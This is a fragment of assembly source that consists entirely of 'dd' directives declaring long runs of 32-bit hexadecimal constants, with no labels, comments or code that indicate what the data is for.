dd 0A80CD13Ch, 2A5A2BE9h, 8140FBDh, 2A5D136Fh, 0A8014B90h
dd 36E9B1AAh, 0B869136Bh, 5A907DBh, 0CF600AB6h, 7D180FE3h
dd 0E7C11854h, 8014CE03h, 78090E25h, 0C459B6A7h, 4A0CEC9Fh
dd 659464E3h, 637368C3h, 1AC67F10h, 2E37BC5Ah, 581B6B7h
dd 45AA600Eh, 1FD6842Bh, 367B0007h, 0E95609EBh, 4513DD5Ah
dd 0E928A1ABh, 0D6F23B83h, 25BA52C4h, 0B21716AFh, 38B81037h
dd 79E3B05Fh, 68174878h, 0D1A8471Fh, 137426C4h, 0A74A70ECh
dd 0E7B51232h, 0CB38580Bh, 1CE9A9B1h, 2F5FEA34h, 1675F031h
dd 0DCC6040Eh, 0C114293Fh, 0DA9A68EAh, 5C808CA2h, 0E3DD0802h
dd 0F1F49D80h, 0F58958F4h, 2B629ADFh, 0F0C1DEC6h, 2ED72FF3h
dd 53AE003Eh, 7439DBBBh, 3BDDE5F1h, 0EEF5FDD8h, 0B8B627A1h
dd 0E951CC80h, 73D34232h, 10E78901h, 72F13B6Ah, 8817AB38h
dd 7A362DE2h, 0C066CC62h, 808A29C3h, 7634868h, 26C64FDFh
dd 0EAB4314h, 0EB4CE3D1h, 8D13DFB8h, 5EB29E0h, 81DD893Fh
dd 0E469C5AEh, 0AEC1767Eh, 1E562758h, 0AC731883h, 0BB4E3D33h
dd 271041A3h, 0EB4062CBh, 0B04DF51h, 0BA24C489h, 0C101ACC1h
dd 8283643Bh, 6605A411h, 0FB68B4FBh, 125C3A49h, 0E2E87519h
dd 44C5FBB4h, 8D7462ABh, 2009B274h, 0BA17CFEh, 42879EE6h
dd 5AF1008Fh, 7D48E950h, 0C51C152h, 96200B09h, 0F6F319B3h
dd 0F22218F4h, 9B08D9DEh, 0FE870B74h, 0FC4DC605h, 928AC488h
dd 4BCBE813h, 0B95D62A4h, 265908DEh, 71355800h, 0B5365F1Ch
dd 1DFC0650h, 0D0B4B75Bh, 0D8E44E05h, 185AF268h, 0B50EAE6h
dd 4A591695h, 507CB847h, 8B9572E0h, 4BF3FB9Fh, 36EFE9D7h
dd 88130828h, 697CBCCCh, 0B4CB712Ch, 578A800Dh, 0D39406E9h
dd 11657525h, 0AF005E13h, 4BE457BBh, 0E9E00ED1h, 91C0F37h
dd 0B6D71C33h, 419F8ACFh, 8C6A3B4Ah, 5D405C21h, 0A7389659h
dd 2B0125A0h, 60BD4F1Fh, 802C8B1Bh, 0F3BF6149h, 0F2E962D0h
dd 0FF9892FDh, 0EE27A7F9h, 366712F7h, 2F18AB61h, 984A0606h
dd 9B61350h, 88C8BA03h, 0C765BD5Ah, 0E1B25449h, 75064AE9h
dd 9DE07BF9h, 0A820F9E5h, 9AF9037h, 626E4CC4h, 3783D03h
dd 0D5E91DC9h, 3FE83B9Ah, 0D02515D4h, 642DD0E0h, 3517141Dh
dd 36604E43h, 2B15F93Fh, 6EF4C86Eh, 7C484F13h, 7C6820Ah
dd 3814D82Dh, 3C3E73BFh, 6577F683h, 180129D9h, 3F762634h
dd 0D721EE83h, 97754E6h, 7510AE17h, 0D1B8F1C6h, 76EECAC3h
dd 5D22EA45h, 2A2943F0h, 0DC02CBD2h, 0E12D3672h, 0C551C23Eh
dd 0B62B5EF5h, 89D625C1h, 3F79D571h, 18AF046Bh, 0DA6971Eh
dd 202E1DBFh, 5E974C27h, 0DF746B1Dh, 7E6F591Ch, 2B4D05AEh
dd 0E8A7805Bh, 0ED0E2D02h, 0A0796012h, 39B97E6Dh, 7B7D7335h
dd 16CC90BDh, 0B84481E9h, 7622F011h, 0E966170Bh, 0AF105360h
dd 0D72476C7h, 0EFC7D0BFh, 4925260Eh, 0C726F780h, 0D377FD77h
dd 476A5127h, 8D6805DBh, 5AC9B202h, 0BB92DEB7h, 528B4DB6h
dd 4BF74000h, 0BA353E94h, 0F4F80BFBh, 2A67750Bh, 8A014FCh
dd 589FF6B0h, 7F4F97BEh, 0B7433FACh, 0F0D93B0Fh, 302A5F98h
dd 8E26EC80h, 711632FEh, 0CBFB8685h, 0E90F637Bh, 0D7E4F4BCh
dd 44256FF4h, 3DAE68E2h, 61BD9AD5h, 0B92A846Dh, 1B080E7Ah
dd 0F9894507h, 289520AEh, 593D66C8h, 2DFF705Ah, 6D630B46h
dd 78A777CFh, 30FAF081h, 7BF3795Fh, 8042BE1h, 0F2EA49C4h
dd 0AF2578C5h, 6A6657A7h, 7DBDD5A0h, 81615D07h, 941366CAh
dd 880C0465h, 0AF1C8505h, 2E04BABDh, 0BF75B589h, 572D0C09h
dd 9C2E8F62h, 5A5D7D89h, 685316F8h, 32DB21CCh, 69D83927h
dd 582324FEh, 20216E81h, 48100BC1h, 9A059405h, 0C6317A39h
dd 575B23C2h, 86803D14h
dd 0FE1A09F2h, 0ECC13Bh, 0E708F786h, 5B8BF02Ch, 9653417Fh
dd 2A1C733Ch, 0E0AFD4C4h, 7D045E4Fh, 0E989DCB5h, 0D8D96EC2h
dd 87661384h, 0A110AFF9h, 0C9810606h, 1F0A2ABBh, 4B6E03C1h
dd 0E942CA29h, 31C0882Fh, 0C0B70FC3h, 3203BB0h, 623E90E4h
dd 6F591205h, 0A43BD00h, 9B1A4C86h, 96821203h, 0E8A5E991h
dd 4A5D0FDDh, 688C0956h, 126EEFE6h, 1558D36h, 0EE45208Fh
dd 11942E74h, 91C081Ah, 0A760214h, 25AEE50Eh, 2DDF9CDDh
dd 82DC5A94h, 0EAECF97Bh, 32654E2Bh, 92D7E276h, 2CC705F8h
dd 0FED8074Ch, 0A608979Dh, 3AB40367h, 98B8F480h, 4AE9CFC4h
dd 885207F0h, 0ADA472C6h, 4E29CA2h, 5B11E080h, 0D9B7277Fh
dd 0BD800F0h, 54E946E7h, 2D2EBE65h, 0A26C94BFh, 0A51AD655h
dd 0BEAC0326h, 684B993Bh, 5CF31A60h, 0B85AB1CEh, 5F521254h
dd 0C4BE6D17h, 1AF1B8B7h, 0CC3E143Dh, 54502508h, 4AD60138h
dd 80B470CFh, 0E4C0DCF6h, 0EA0AD805h, 0E24E2087h, 96799C2h
dd 2A1D403h, 8F050C3Eh, 447B1F18h, 6DEEA993h, 0A3EC6BAAh
dd 0FFE860C3h, 0D8280B8Ch, 4E9120CEh, 7D5B5425h, 7D98E06Ch
dd 77DAC35Eh, 22A2A85Eh, 65EA210Ah, 78A0E989h, 55FBFAA8h
dd 0CC600D1Eh, 9189C3Bh, 2E5D2Ch, 617C929Dh, 0E6B55140h
dd 2A40C4C1h, 0F3EAD225h, 0C223C4BEh, 68821ABCh, 0B2F50397h
dd 3573FDF2h, 0F6A1D793h, 0C68AF96Ah, 4B188A18h, 0FE67FF59h
dd 5758B0E2h, 93F0E364h, 1B8C434Fh, 28641D7h, 16699EE1h
dd 0F2E23E59h, 0F10A3974h, 83055A7Fh, 72EF8FD0h, 684A1AD8h
dd 1F7477h, 7888C504h, 0E91AEE01h, 774D152Ch, 0A0CBF754h
dd 1368511Fh, 7B469571h, 6B4F7EF2h, 9B5EDACh, 0F5F8FB00h
dd 8CB8DF97h, 0F1951F9Ch, 0F84F44ACh, 0F2D14C89h, 0E9DF9834h
dd 0D12D53BAh, 16D7592Eh, 4D83F4A2h, 7E940C16h, 0FD30FB87h
dd 0BEAFD5E9h, 4E6C8118h, 0F221235Fh, 769F29D8h, 0F2C0705Dh
dd 0BC74FEBDh, 0EA101C17h, 0A9AD1428h, 0EE3131AFh, 2E72EC24h
dd 11CE2C29h, 0D6FD4F01h, 341BAB48h, 0E2B35954h, 89F0C85Eh
dd 587C3AF3h, 4CDF099Fh, 0EA6FAC52h, 0C63BFD03h, 0EAD031E4h
dd 0E0C87547h, 8EC142D2h, 2D5648F1h, 321460DFh, 41AC35D0h
dd 9D487AB5h, 0DC95DAB4h, 406E964Eh, 59E868A0h, 9C9371E4h
dd 13EAE427h, 0E856623Ah, 5A2801F2h, 5351DFD1h, 34DCDB50h
dd 0E7A5DD2h, 0B1FF0741h, 0AB2B9F18h, 0FDA5ED37h, 0E197CDBFh
dd 2D8C3CEFh, 950FD705h, 0A9600E4Bh, 885064B7h, 1489BE8h
dd 0CDD29285h, 173775Ah, 0B5C4E964h, 0A0F1A944h, 892BC1FFh
dd 3063F4CDh, 0C3EA31CFh, 56EEE0Ch, 0CA5EB40Ch, 9094AE5Ah
dd 0BD550805h, 60E81410h, 7879BED9h, 0B817008Ch, 637A6A8h
dd 6339FD05h, 28525CCBh, 6AAC072Dh, 6F961BB0h, 25D7D62Dh
dd 0D5F289DDh, 5C80AD4Fh, 0F6E28659h, 8A0C90D4h, 8A705FE0h
dd 35AAF6B5h, 0B6B0AF0Ch, 0AFE5955Bh, 0F2074BAFh, 47020BB8h
dd 9357311Ch, 9EC4F382h, 98E30B87h, 0AA584A77h, 0FD89FC02h
dd 0ABCDE9B3h, 7430D5B0h, 4CB4E05h, 0F083097Ah, 0A7BA1F4Dh
dd 9E72439h, 7B91913Ah, 7141CAF2h, 500E7EE7h, 91FCF80h
dd 0DB7F4286h, 0A65D979Dh, 685500BFh, 4F407CF4h, 40394BE9h
dd 1306EB41h, 0EFB04741h, 48A63FFFh, 0CAAAE9C2h, 5582535Ch
dd 0C12AFC5Eh, 0E93F47AEh, 20FA97F6h, 0A8E9529Dh, 978650BDh
dd 0B5DEB457h, 0F38B0C45h, 4D0F82FFh, 1F516045h, 0C9B23E2Eh
dd 535CF29Bh, 5AD4BBADh, 0ADC23280h, 15572851h, 3E327A1h
dd 0CAC27032h, 9C35655h, 32A024E9h, 4D1D9ABAh, 16095A48h
dd 4B807D57h, 0BA047F2h, 0D301E3CEh, 0FC12B184h, 895D0A75h
dd 0A9E85AC5h, 4E0AFC27h, 6630D3D4h, 18D9EFABh, 0D531BD27h
dd 8018B62h, 5796CFE9h, 0A8C264F6h, 88B11C09h, 0E368E25h
dd 14518CD0h, 0F9BB27E9h, 89C50A54h, 0BEE1FD0h, 79AE2D5Bh
dd 81288FDh, 0FEA4CB3Dh, 4004413Ch, 7DDE7CD6h, 0EB29A418h
dd 0B75BDAD4h, 0B725140h, 0E90F3505h, 0CD905314h, 0B8308BB0h
dd 0CE2F28BCh, 0DA9096Bh, 54071156h, 0F2E1E2FAh, 9ABD1657h
dd 7E522097h, 7153E919h, 0AC6FBAF5h, 60AE4F0Fh, 3ED9E988h
dd 0CD16DD95h, 0E6387890h, 2DEB5E11h, 97EC3A37h, 8B8BAFDFh
dd 826E4FD9h, 0AEF028BDh, 6B1EDFB1h, 9017C816h, 12B981B0h
dd 0A57D557Eh, 4175F435h, 0AD160E3Ah, 4D9F206h, 0C139F3C9h
dd 4DA5C06Bh, 31E1200Eh, 0C42D7A92h, 0EDAE2944h, 29FFB403h
dd 0B07A52Eh, 0E7270204h, 0F03003EFh, 3B36A3B9h, 0C3800D20h
dd 0A54BB5F7h, 694A10AEh, 0FAAE8DEAh, 421F08D9h, 251C41E2h
dd 0B13A28B7h, 0AAD1015h, 2F5448F6h, 38DD96E9h, 5A346849h
dd 0FAD43146h, 3F307E03h, 2BA32C3h, 4555355Ch, 0CCD509AEh
dd 69D2712h, 0BE986D9h, 0DD61890Fh, 0E9E12F59h, 24844E99h
dd 0BBCF885Ah, 474054C9h, 4CC747B6h, 2F04010Ah, 0C3761238h
dd 4ED16758h, 83E17B6Ah, 5878C530h, 2A2EB6B5h, 955A776h
dd 0A5487D02h, 8DC9FB5Ch, 77E2D7EDh, 3EB3CDC3h, 7BD0C35Ah
dd 5B4468C8h, 5FFF3149h, 5F98A7FCh, 0E91F6667h, 0B22423B5h
dd 0C2EF00BEh, 4CC96850h, 7A661196h, 0DAD09543h, 333C0802h
dd 5CDEF754h, 99460952h, 2045E657h, 6816558Fh, 558C45B6h
dd 0B3134A93h, 5558C02Bh, 0A8D13EE9h, 55DEE8Ah, 611ED405h
dd 0BF89432h, 22C65E07h, 6377FE95h, 0DC4EFBE0h, 533F29A2h
dd 6E77518Bh, 4DA686D5h, 1BD9BD0Dh, 0A6BFE9E1h, 3ED86A8h
dd 0C1C980B7h, 85EC5066h, 3B4BAF32h, 98497AEAh, 0F5E76273h
dd 1B753FFBh, 1BCDC80Ch, 0EB665E81h, 5024BF29h, 5E4E092Bh
dd 880F4723h, 49302CA2h, 78D7455h, 9346FFF7h, 0F1EBE90Ah
dd 30748BBFh, 554A68C2h, 0BD056E66h, 547A0D63h, 437983AFh
dd 0D05D3EFEh, 67F95B3Bh, 8F58474Dh, 2A5F88E8h, 5B0ACF8Bh
dd 9BBB25E9h, 8D02A458h, 8C34A3B9h, 7E0DF19h, 0F1488749h
dd 8691Dh, 3E047477h, 67E91229h, 0D7E4BA5Bh, 22DCBD58h
dd 0CB1285E9h, 2EE489D9h, 91DC9DEEh, 34770183h, 1158B429h
dd 275A78E9h, 0CC8E1090h, 0E00CD3A6h, 0FF1719B9h, 64BA0138h
dd 1A4BE7Dh, 8F12A2EFh, 5FB4539Ch, 153A802Ch, 0CDEE10D6h
dd 65C91179h, 18540C22h, 13063BE9h, 0BF0E5BD8h, 333C205Eh
dd 550C10A8h, 2C0C4018h, 9034CB0Fh, 0CABB9731h, 0A6C45045h
dd 4C670213h, 7B063105h, 0C925CB80h, 35C6381Bh, 4D2333FEh
dd 0B5A44CB4h, 0F1E82EB4h, 2F55B24h, 46FC75C5h, 0DF96DA82h
dd 1A25FBFAh, 0F76CDDA7h, 97EEDE97h, 1577BA3Ah, 54C3F5B2h
dd 0F3C196B1h, 0A0030760h, 6BA9AFE6h, 25621853h, 52EB9514h
dd 8030C217h, 559B81FFh, 5E1C8C2Fh, 440B2C56h, 0D4BFC76Ch
dd 4C7E2F15h, 77F38989h, 0E9858579h, 18014B9Fh, 0FD9CF288h
dd 5A65102Fh, 81FE93C4h, 3ED12159h, 8E527F8h, 738270ECh
dd 0E0762659h, 17B6C2F8h, 8261430Bh, 88CEA57h, 2540AAC2h
dd 5BD96C88h, 455E7116h, 3B219139h, 6371FE3Bh, 0A0BCF97Ch
dd 219F60E3h, 54C20A2Dh, 0F5B18C1h, 68F87F96h, 0BB884B4Fh
dd 3EBAFC52h, 0F7983EAEh, 60F22AD2h, 577E9E7Ch, 60D89BDh
dd 0A2DDBE95h, 0E0AD6CBFh, 0E9909710h, 124159E9h, 1387BC6Ah
dd 30C976F9h, 82A1B860h, 0BDE3445Dh, 65F16E5Ch, 2D3DEE3Bh
dd 0C8668C2Bh, 0A4054E5Ch, 3E491AAEh, 860D65DFh, 297D9468h
dd 0DB2CB927h, 8CA7BD89h
dd 2A5F37C1h, 21182CEAh, 5A204F63h, 69DADD58h, 148AEF4Ah
dd 81E1C01Eh, 2CF4E980h, 53C8C0A1h, 0F80AB762h, 0E5D1F75Bh
dd 51549A69h, 0EB5B13C9h, 0F52E2E31h, 0B8F19Dh, 40168C53h
dd 0D3CD8F7h, 4A0903C0h, 0D85F2325h, 2040547h, 0E9BCBFA1h
dd 0CB7C7E27h, 9F641150h, 75A7D776h, 0A43D7465h, 0C51D2C54h
dd 33C192A0h, 0E74F284Fh, 0FE0569F1h, 0D1011774h, 215EB17Bh
dd 383EB521h, 2883394h, 3AC0892Ch, 10A53FC7h, 0ECF4F2A1h
dd 308E1334h, 0B74C04C1h, 0A3B00552h, 257879A8h, 0BB014EB6h
dd 0DACE3024h, 4710895Ch, 0F1295B12h, 0F03A3119h, 18D66231h
dd 2DBB50A0h, 27016D73h, 20A34F97h, 5ED5368h, 0E30CF0FEh
dd 21EB2A4Fh, 2E0F2C42h, 4E250931h, 51179732h, 48CFF26Eh
dd 401F5458h, 9E302D3Fh, 4BD60D95h, 3DFEAFC5h, 4047303Ah
dd 0A542F9B4h, 0D4A409BEh, 8066F0D3h, 64EA38h, 0D2045AD0h
dd 4828C72Ch, 422532E8h, 777BCA75h, 0FCE1BF0Eh, 3A01D5E9h
dd 0FD56862Ch, 0AE2B87DDh, 0EAEB5E73h, 1F4F7E58h, 9960DE2Dh
dd 24C409h, 2DB15FB3h, 67C13042h, 7A7561C3h, 7DD6A7B1h
dd 0F7E10096h, 0C91D1E21h, 845879DDh, 2FFBB19h, 0FD8958C7h
dd 8EA2D62Bh, 44DD4CA5h, 0D7E6043Fh, 0BC652359h, 0A24E253Eh
dd 0F111C2DEh, 2ED42B5h, 9220DFC4h, 0D9292F7Ah, 32556A32h
dd 0E98FC5B9h, 5ECBBBFCh, 0F69842D7h, 0F90EC751h, 32E137AEh
dd 6007FA00h, 27717903h, 0EFF65AD7h, 23914C65h, 0BDC85566h
dd 9FDE98BFh, 5D69FCAFh, 0C908FA56h, 1326ADh, 19D1B74h
dd 1C485721h, 3F592865h, 67D7C74Fh, 9D4778A9h, 0E9DDB05Fh
dd 0B7E49A2Dh, 36F81CECh, 6EB947C0h, 5AAEB88h, 7B18D72Dh
dd 5ED8265h, 69E90781h, 70496E6Bh, 56165559h, 466EB025h
dd 826EA222h, 75D2E972h, 149032A9h, 0AF9129D5h, 0DB1CA7BDh
dd 0F58100FBh, 0E2CD37F9h, 599D0E90h, 2EDD2F1Ch, 0C2EED744h
dd 7B435A50h, 0C00ED5EAh, 181B28BEh, 2B759D50h, 0CF6163F6h
dd 0D4FE0B6Bh, 94E95B76h, 21CE5291h, 0A4203C5Ah, 0C06813F5h
dd 0C5ED341Fh, 5F9C4B06h, 7DF22CF8h, 5BD3E1BDh, 0D972996Fh
dd 37006DBh, 6E63F9CFh, 60EA4F54h, 0BE016A5Ch, 3DDD1AC1h
dd 0B52DBF2Ch, 6ABD2D40h, 454C7F1Eh, 0D5D28B89h, 0B130819Eh
dd 0A6C51D45h, 103D0109h, 6DB7BB53h, 4BA0A7ABh, 0CDA9C3B4h
dd 4C3CE904h, 9CDD5E09h, 441E2D6Ch, 296F0474h, 0B5C0F01Fh
dd 5B51CEDCh, 4E40EC60h, 0A1F1B8C7h, 5D00E67Ah, 3D1E8535h
dd 0ACCB6E32h, 5266DCD6h, 557F62FFh, 7B959894h, 2D8402C9h
dd 740E0841h, 0CC7E629Ah, 9E57066Dh, 725C90Fh, 20DBEF67h
dd 1A60C8BFh, 14E2BF5Ch, 3CA856C1h, 27EAA00Dh, 584F2E28h
dd 0C391DC4h, 47D04DDEh, 77713F18h, 2D28230Ch, 88FD7688h
dd 0F0280811h, 0D8C9456Bh, 336B3826h, 85DE9570h, 552BC272h
dd 58F43EA0h, 0B2C9561Fh, 0FAD882D1h, 71C10FBEh, 54631B53h
dd 3C8482B6h, 0E4C5AAA8h, 0FD6012DDh, 0A011E5E9h, 16760D6Fh
dd 5F5F4528h, 3582C954h, 5AB1D87Eh, 386F4A58h, 0BDFE5235h
dd 0D6F30D4Fh, 239E3079h, 8087B7C3h, 5113C709h, 795A02B5h
dd 49B102E8h, 9A6DAFFh, 2E1368D9h, 0BC7998DDh, 7EC2FC0h
dd 2843D307h, 0DD2F77BBh, 822C5114h, 4DD732A0h, 8102B34Ch
dd 333CF3CDh, 0EB2A5456h, 8D0F29DCh, 89DB67D9h, 8B17A0AAh
dd 81297A23h, 5FEC1AD1h, 6675A11Ch, 5B30174h, 58E33034h
dd 8F3ED188h, 30F83FDAh, 894C3DA6h, 0C6011291h, 6441CC09h
dd 42FF8A0Fh, 5E84787Fh, 8048B45Eh, 202B7A13h, 705EDE1h
dd 84FBDC0Bh, 2D006764h, 3289031Bh, 421EE7EAh, 0CC820E43h
dd 57C31D2Bh, 5C459ED4h, 0E14EE082h, 0C9BA4A7h, 7E0B067Ch
dd 56FEF41Fh, 7642623Ah, 165CDF5h, 49A5B850h, 0A270205Ah
dd 0C1292EB7h, 3933B77h, 40F2B86Fh, 1325A08h, 0E1555FCDh
dd 0FFC21BA6h, 5F52A879h, 1679976h, 8A5812E8h, 685100ADh
dd 6A536116h, 92E725E9h, 5F33687Fh, 6B2C80B5h, 6F603790h
dd 5059CDB3h, 3028581Ch, 882FC600h, 0DCB95126h, 0DE91053Fh
dd 0F1F200EFh, 5F4A0DC8h, 20212C8h, 0B72B22Ah, 288240F7h
dd 9F719782h, 0DA7C488h, 30E6D366h, 0F241861Eh, 9E12D376h
dd 5CB3C834h, 92CD799Dh, 426FE090h, 87D720E3h, 3CE5530Dh
dd 137A1C4Ah, 0CB06E6D2h, 0EF16228h, 4E68FAh, 68565574h
dd 3F5801ABh, 0E26A2495h, 84D1F78Bh, 0AF8C2498h, 0BD681255h
dd 278C8942h, 0E0162726h, 4F3B6814h, 584DE354h, 9821D7Ch
dd 0C3B90140h, 170A2772h, 0FD6A2AE9h, 0E2BBD220h, 9821D3ABh
dd 0F701F016h, 83B33ED2h, 16588A44h, 0A87F3690h, 0C481768h
dd 9B272CBEh, 0ACFEFB27h, 4B4112EAh, 2788AEA6h, 65D117B9h
dd 540BB830h, 6AF92C12h, 2B51E28h, 0DDE58069h, 28DC1BE9h
dd 4421752Fh, 0EB0AD137h, 6B8772F1h, 0EAF4B4E9h, 0BCF653ECh
dd 82E165BDh, 3BE468DFh, 0F146C1A4h, 8DEC3A71h, 0C9F150C7h
dd 0B43DAC53h, 0CEA91776h, 7613AE5Ah, 0F0020192h, 7C9E9556h
dd 0EC6EE915h, 2CD13DC6h, 281227CFh, 5CA72FDDh, 0D2A608D5h
dd 0CE07772Dh, 0A6E96729h, 4D4C3237h, 0E5C104C7h, 0D3C04507h
dd 0B93DB03h, 562E988h, 7FA77774h, 59D586C2h, 6AFD4BB9h
dd 72F67EA8h, 7B97CB78h, 2EA5A0F2h, 7040A05h, 6BE42964h
dd 58188AD0h, 150C0BF6h, 0F4E83F94h, 5401FFDBh, 0EE56F69h
dd 0D2080409h, 0D6552BECh, 685260E7h, 79950891h, 0FA7392D3h
dd 7FE9FB05h, 0B2F757B0h, 175424BBh, 9BFD9EDDh, 740508D7h
dd 9E8CBA1Ch, 44CEF3C0h, 0B6466021h, 59E2377Eh, 690B58B0h
dd 70D573h, 0A32A1E16h, 5C15B240h, 5C9C9BDh, 0F81AF857h
dd 9F459A4Fh, 0C35106F2h, 70A82E2Eh, 0B6F7FFE5h, 5C982A17h
dd 2CD007D8h, 0C935A3CEh, 0EED11413h, 803043ADh, 0F221380Eh
dd 828B95A0h, 0B2C18380h, 529C0B1Ch, 0B2041F17h, 0DCB103FCh
dd 9B06EBC0h, 13C49DE1h, 15F2FEC1h, 538B5D2Ch, 88390416h
dd 0D3F32FC6h, 0B05D2F67h, 0FA01B6B7h, 12E92A4Fh, 0FD1EA285h
dd 7D9D463Eh, 570BD11Ch, 0E6158868h, 4F4430A8h, 0EB015FAAh
dd 0EF247BB0h, 0DB9C9DD7h, 6D0BD392h, 7650D81Ah, 44514EB2h
dd 8B29536Ah, 0A1F51E06h, 52F1370Ch, 1DDEB55Dh, 95B15527h
dd 52FF2B37h, 2023C04Bh, 0C097D55Eh, 3105C9FCh, 81D71E7h
dd 0FAAC016h, 1FE50F97h, 930C4414h, 0D19E650Bh, 15E126Ch
dd 47A630A0h, 0A2FD2B67h, 8FD3E909h, 0BA88CE54h, 91B2875h
dd 7351016Eh, 35040C76h, 0D98413F2h, 0C13E1EAEh, 0E94B07EBh
dd 0CD062A26h, 36451ADh, 1DDF2328h, 31E945B9h, 7B48210Eh
dd 80118B4h, 8CDBE9F1h, 1F0EE824h, 7BEFDD30h, 8C34876h
dd 5417BAC9h, 0A786DD04h, 0B4059551h, 45B04Fh, 0B1017408h
dd 72B7E931h, 0FD9FA010h, 64CFBE2Ah, 0D2ADAA5Dh, 344968CFh
dd 41550919h, 446E2786h, 0C1861E9Dh, 0F80ACA25h, 3F803F6Ch
dd 4AC9FCFDh, 7E0CB1EBh, 7600B116h, 2249B4F5h, 969836h
dd 9BBB5302h, 3147272Ch, 45CADD62h, 90467DB1h, 0F10AEC25h
dd 7F508BEBh, 0A9B09FD6h, 0BDC72BE9h, 22A7DE73h, 77172C06h
dd 0F3278DE6h, 1096F7C9h, 859580Fh, 0B36BB8FDh, 0D61C452h
dd 77BA00C0h, 0F413BF6Ah, 0F2745BCEh, 0EE68835Dh, 0E2AB8405h
dd 714EC794h, 0F68162C0h, 0C8081620h, 8E450837h, 0C012C22Fh
dd 27799169h, 0C158756Dh
dd 0B5660AEAh, 0B0CB7288h, 9D681787h, 0C0B6EC44h, 0E28840B4h
dd 0B6D07358h, 0CD12439h, 0B536A3BDh, 0EF4B9F70h, 0F3808CBAh
dd 73249AB9h, 22A6CE01h, 79301E26h, 88082709h, 16B535F0h
dd 0EE09082h, 77A3473Fh, 2B4159C9h, 41997006h, 74580C16h
dd 694605BBh, 0D6D1491Fh, 0B5EEE800h, 3E50701Bh, 0DF050886h
dd 77E9E799h, 0C114CCBCh, 8B10FFEFh, 0DE88033Ch, 97F0865Bh
dd 93CB30E3h, 510827D9h, 68DECEB0h, 1A4E3424h, 87A30F69h
dd 0E21BE9D9h, 93ECF7FCh, 0D14CFC00h, 1BE58149h, 27F0241Ch
dd 0A50E8572h, 0C6918013h, 2609254Dh, 713B91E9h, 5FC5286Ah
dd 0EE7D12A7h, 0F0F47399h, 0EE71CFF6h, 366C0D3Eh, 0E962F6CFh
dd 0A6C95457h, 4B50015Dh, 0F04323EFh, 18B7AC96h, 826AF69Eh
dd 0D0032360h, 0DFD9E5E7h, 0F18008E8h, 0FDEDC473h, 0C1C3F728h
dd 2C3F58EBh, 0FBC99F07h, 69B05CFEh, 0AB57631Ah, 0A4460D1h
dd 7DB75341h, 5CC7FE39h, 144A1386h, 6AB329BBh, 50400329h
dd 5E2B1916h, 17BC8797h, 90E93180h, 7E5D0282h, 1DF1A735h
dd 1223D825h, 0F3727C68h, 7A167C89h, 0CA1115FEh, 0C3007AB3h
dd 353C5B45h, 4E261AE8h, 0E9080701h, 1C773B6Dh, 6A229572h
dd 6DD35C62h, 85080E14h, 0DD00F818h, 0C84C97BDh, 0CF20B740h
dd 5D3799FAh, 23E8E912h, 2FE2FDF4h, 80788F47h, 0F646BB09h
dd 0B9A0068h, 807AF333h, 0F027AB3Eh, 0D794899Ch, 0E98B7051h
dd 0D0D31225h, 805F7E61h, 2026C280h, 0A5399530h, 16BEC6E8h
dd 0A175E950h, 41AF3E62h, 0EC6EDD3Ch, 7E55C40Dh, 0D44A8F25h
dd 6CAF58A7h, 2737695h, 0C8A3D611h, 0EDEB02FDh, 0D5742B47h
dd 62AF4A25h, 0B378753Bh, 0A522C59Fh, 0AEB04510h, 4B8914B5h
dd 5CB20B77h, 9D0C757h, 0DF4243E9h, 0B969F9D5h, 0B74546B1h
dd 5CEFAF85h, 1DD983BFh, 0BEF260DDh, 0D99FA250h, 0D9DFC93Ah
dd 0DB2E33Bh, 55515409h, 0B5936857h, 0E1C10527h, 0AC6FE905h
dd 5024FB1h, 0EA013F3Bh, 8D04892Eh, 0E13F1E55h, 6F1E7BE7h
dd 0A6C464D3h, 7D0287F8h, 11FBC5Ah, 0B0E96C7Dh, 490E09ACh
dd 85E041A4h, 977D3A30h, 0F6E88BBFh, 2290456h, 4CF0AF37h
dd 9F9E3F2Dh, 0D5D5E9BEh, 62A086BEh, 802C537Ch, 0A4A54108h
dd 2F946930h, 0FBB564ABh, 0E98EEAB6h, 2932EB4Ch, 2EB8C651h
dd 1A8DF8B0h, 0C63F63Bh, 7EA4DE56h, 7555E227h, 7B634D59h
dd 0C07E4FEAh, 38532691h, 0F7FA6176h, 0EEECF3FDh, 28A4F9B2h
dd 342FE9E0h, 0E6D68F9h, 0A8578117h, 0BD3D837h, 25BE9D00h
dd 1254D719h, 0FA3C8FE9h, 0FE10B9E2h, 6CAC4B78h, 0AE2DFFF4h
dd 9666E92Ah, 0C26ED0FEh, 8525E951h, 7FDEC824h, 0C08B7F73h
dd 327BE50Ch, 0D7510107h, 0C0806E6h, 93201482h, 69BE2F74h
dd 0F46175B0h, 485DE8B1h, 833B3328h, 222D04FBh, 0C00F4ACBh
dd 2C441A4Eh, 0C5295F14h, 580840A7h, 0EFA15595h, 81C25BE9h
dd 1F75CE9Dh, 0B8703048h, 451313DAh, 4A2EA87Ah, 3E160EF4h
dd 2F67E71h, 0FB87A7C3h, 0BAC009F6h, 0B2EE94Eh, 0E093CAAAh
dd 58573C80h, 4F4A5F35h, 0C992F444h, 79F26E68h, 7255199Ah
dd 392E2411h, 685150E3h, 66737227h, 0E3CA500Ch, 0B5E91A08h
dd 0CE591A22h, 67C9C181h, 0AF605E79h, 0B8AB850h, 58468B6Dh
dd 1C6AF5h, 984069E3h, 60053F0Bh, 224B91Eh, 72A9225h, 0EEA92E0h
dd 4BCD3180h, 13F1BC59h, 0A680E7D1h, 90AC3B2Ch, 771816DCh
dd 3051026Eh, 0ACDEFEF5h, 6C75614Eh, 0E8DB61F8h, 98435D76h
dd 82AF7ADDh, 4B39F45Eh, 0FFBA17AAh, 0AA2AA28Ch, 4D7C55D7h
dd 1364AE59h, 0AAC2EC59h, 71E377B5h, 0DB684709h, 92DF5678h
dd 0E288BA5Ch, 282D9627h, 80E4F8C4h, 3B02B7BEh, 9E687874h
dd 5F187713h, 749D5C4Eh, 2009E574h, 0FEE888DDh, 8243FB99h
dd 0BB974A33h, 0A9A59F40h, 12317C52h, 0E03DE9F7h, 7D9D66E2h
dd 765737B2h, 14E9615Ch, 68415080h, 67C57A55h, 31FB376Eh
dd 6E72A94Ch, 0C52CFB9Ah, 5CE040EFh, 0CDA042ACh, 15276AB5h
dd 0AC195134h, 0B9360528h, 68FD4576h, 4A0ABCC9h, 5840DAAAh
dd 21F62DFDh, 7F69F719h, 40027896h, 5F48024h, 47F4C4FEh
dd 306A2B55h, 2C809636h, 0C8283DDCh, 242998F4h, 0A48620EBh
dd 630908F1h, 0F1060727h, 5FEF0A92h, 0DC272FD1h, 0FB78A864h
